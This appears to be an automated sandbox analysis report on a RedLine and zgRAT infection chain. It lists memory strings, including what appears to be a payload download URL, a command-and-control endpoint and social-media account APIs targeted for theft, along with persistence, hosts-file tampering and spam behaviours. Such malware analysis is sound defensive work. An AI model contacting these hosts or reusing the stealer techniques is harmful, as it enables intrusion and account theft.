Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://stackoverflow.com/questions/tagged/python-attrs)
Source: stub.exe, 0000000F.00000003.2139427974.00000194D1380000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2463765184.00000194D0B33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: stub.exe, 0000000F.00000003.2463765184.00000194D0B33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: stub.exe, 0000000F.00000003.2139427974.00000194D1380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.Qb0WswhkLhoa
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500756981.00000194CDE20000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://t.me/monster_free_cloud
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://t.me/monster_free_cloud----------------------
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://thumbnails.roblox.com/v1/users/avatar?userIds=
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=pypi
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=referral&utm_campa
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://tiktok.com/
Source: redline123123.exe, 0000000E.00000002.2266923470.000000000355B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://transfer.adttemp.com.br/get/AXmIv/zovozov.exe
Source: redline123123.exe, 0000000E.00000002.2266923470.00000000031E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://transfer.adttemp.com.br/get/AXmIv/zovozov.exeE%
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://twitter.com
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://twitter.com/
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://twitter.com/home
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://twitter.com/i/api/1.1/account/update_profile.json
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://twitter.com/i/api/1.1/account/update_profile.jsonareqadescriptionuThere
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://twitter.com/u
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://twitter.comarefereruhttps://twitter.com/homeusec-fetch-destaemptyusec-fetch-modeacorsusec-fe
Source: RegAsm.exe, 00000009.00000002.1883918853.00000000010B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://understanndtytonyguw.shop/api
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://webcast.tiktok.com/webcast/wallet_api/diamond_buy/permission/?aid=1988&app_language=de-DE&ap
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.attrs.org/
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.attrs.org/)
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.attrs.org/en/23.2.0/_static/sponsors/FilePreviews.svg
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.attrs.org/en/23.2.0/_static/sponsors/Tidelift.svg
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.attrs.org/en/23.2.0/_static/sponsors/Variomedia.svg
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.attrs.org/en/latest/glossary.html#term-dunder-methods)).
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.attrs.org/en/latest/names.html)
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/changelog.html
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/changelog.html)
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/comparison.html#customization)
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/init.html#hooking-yourself-into-initialization)
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/why.html#data-classes).
Source: judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD971C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: axplong.exe, 00000002.00000002.2768814464.0000000001223000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.entrust.net/rpa0
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.ibm.com/
Source: stub.exe, 0000000F.00000003.2463765184.00000194D0B33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: stub.exe, 0000000F.00000003.2139427974.00000194D1380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.8Z86fTxZfkM6
Source: stub.exe, 0000000F.00000003.2463765184.00000194D0B33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: stub.exe, 0000000F.00000003.2139427974.00000194D1380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.UnUp0v0CLe9Y
Source: stub.exe, 0000000F.00000003.2463765184.00000194D0B33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: stub.exe, 0000000F.00000003.2139427974.00000194D1380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: stub.exe, 0000000F.00000003.2139427974.00000194D1380000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2463765184.00000194D0B33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: stub.exe, 0000000F.00000003.2463765184.00000194D0B33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: stub.exe, 0000000F.00000003.2139427974.00000194D1380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: judit.exe, 0000000C.00000003.1950589359.000001DD971B9000.00000004.00000020.00020000.00000000.sdmp, judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2487546266.00000194D0837000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2488921473.00000194D0838000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2491627713.00000194D0839000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.python.org/
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.python.org/dev/peps/pep-0205/
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.python.org/dev/peps/pep-0506/
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500756981.00000194CDE20000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.reddit.com/user/
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.reddit.com/user/acomment_karmaatotal_karmaais_modais_goldais_suspendedaprofileUrlu
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.roblox.com/my/account/json
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.roblox.com/my/account/jsonuhttps://economy.roblox.com/v1/users/aresaUserIdu/currencyuhtt
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.spotify.com/api/account-settings/v1/profile
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.spotify.com/api/account-settings/v1/profileatextaloadsaprofileagenderabirthdateu
Source: stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.twitch.tv/
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.twitch.tv/adisplayNameahasPrimeaisPartneralanguageaprofileImageURLabitsBalanceatotalCoun
Source: judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.variomedia.de/
Source: stub.exe, 0000000F.00000002.2503018233.00000194D008F000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://zopeinterface.readthedocs.io/en/latest/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 9_2_0042D100 OpenClipboard,GetWindowInfo,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

9_2_0042D100

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 9_2_0042D100 OpenClipboard,GetWindowInfo,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

9_2_0042D100

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 9_2_0042D2F0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

9_2_0042D2F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File created: C:\Users\user\AppData\Local\Temp\TmpDD09.tmp			Jump to dropped file
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	File created: C:\Users\user\AppData\Local\Temp\TmpDD97.tmp			Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Modifies the hosts file

Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe

File written: C:\Windows\System32\drivers\etc\hosts

Reads the System eventlog

Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe

Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System

Send many emails (e-Mail Spam)

Source: SMTP

Network traffic detected: Mail traffic on many different IPs 29

System Summary

Malicious sample detected (through community Yara rule)

Source: 28.2.RegAsm.exe.572b5e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 28.2.RegAsm.exe.572b5e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 24.2.upd.exe.f32a9b.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 31.2.One.exe.128c1a78.1.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 28.2.RegAsm.exe.403dbb.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 24.2.upd.exe.10a183e.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 24.2.upd.exe.10a183e.3.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 28.2.RegAsm.exe.572b5e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 28.2.RegAsm.exe.572b5e.2.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 28.2.RegAsm.exe.4045570.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 28.2.RegAsm.exe.4045570.5.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 24.2.upd.exe.f30ae0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 24.2.upd.exe.10a183e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 24.2.upd.exe.10a183e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 31.2.One.exe.128c1a78.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 28.2.RegAsm.exe.403dbb.3.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 24.2.upd.exe.f00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 24.2.upd.exe.f00000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 24.2.upd.exe.f00000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 28.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 28.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 28.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 24.2.upd.exe.f30ae0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 24.2.upd.exe.f30ae0.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 24.2.upd.exe.f30ae0.1.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 24.2.upd.exe.f32a9b.4.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 31.0.One.exe.490000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0000001C.00000002.2397729767.00000000004F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 00000018.00000002.1996629606.0000000000FCD000.00000004.00000001.01000000.0000002C.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe, type: DROPPED	Matched rule: Detects zgRAT Author: ditekSHen

.NET source code contains very large array initializations

Source: 24.2.upd.exe.f32a9b.4.raw.unpack, Strings.cs

Large array initialization: Strings: array initializer size 6160

PE file contains section with special chars

Source: DPqKF5vqpe.exe	Static PE information: section name:
Source: DPqKF5vqpe.exe	Static PE information: section name: .idata
Source: DPqKF5vqpe.exe	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:
Source: services64[1].exe.2.dr	Static PE information: section name: .\|Q+
Source: services64[1].exe.2.dr	Static PE information: section name: .=S+
Source: services64[1].exe.2.dr	Static PE information: section name: .g<7
Source: services64.exe.2.dr	Static PE information: section name: .\|Q+
Source: services64.exe.2.dr	Static PE information: section name: .=S+
Source: services64.exe.2.dr	Static PE information: section name: .g<7

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Code function: 12_2_000001DD940C2244 GetProcessIdOfThread,GetCurrentProcessId,CreateFileW,WriteFile,ReadFile,CloseHandle,NtResumeThread,	12_2_000001DD940C2244
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Code function: 12_2_000001DD940C2B2C NtDeviceIoControlFile,GetModuleHandleA,GetProcAddress,StrCmpNIW,lstrlenW,lstrlenW,	12_2_000001DD940C2B2C
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Code function: 12_2_000001DD940C2330 NtQueryDirectoryFile,GetFileType,StrCpyW,	12_2_000001DD940C2330
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Code function: 12_2_000001DD940C27FC NtEnumerateKey,NtEnumerateKey,	12_2_000001DD940C27FC
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Code function: 12_2_000001DD940C202C NtQuerySystemInformation,StrCmpNIW,	12_2_000001DD940C202C
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Code function: 12_2_000001DD940C28C8 NtEnumerateValueKey,NtEnumerateValueKey,	12_2_000001DD940C28C8

Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe

Code function: 12_2_000001DD940C2B2C: NtDeviceIoControlFile,GetModuleHandleA,GetProcAddress,StrCmpNIW,lstrlenW,lstrlenW,

12_2_000001DD940C2B2C

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	File created: C:\Windows\Tasks\axplong.job	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe	File created: C:\Windows\Tasks\peombdb.job

Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe

File deleted: C:\Windows\System32\MRT.exe

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00894CD0	2_2_00894CD0
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_008D3048	2_2_008D3048
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_008C7D63	2_2_008C7D63
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00989680	2_2_00989680
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00894AD0	2_2_00894AD0
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_008D6EE9	2_2_008D6EE9
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_008D763B	2_2_008D763B
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_008D2BB0	2_2_008D2BB0
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_008D8700	2_2_008D8700
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_008D775B	2_2_008D775B
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008C000B	7_2_008C000B
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008C4220	7_2_008C4220
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_00888509	7_2_00888509
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_00888509	7_2_00888509
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008B0531	7_2_008B0531
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008C0DA0	7_2_008C0DA0
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008D5224	7_2_008D5224
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008AD439	7_2_008AD439
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008AD853	7_2_008AD853
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008ADC7F	7_2_008ADC7F
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_00869FAE	7_2_00869FAE
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_00869FAE	7_2_00869FAE
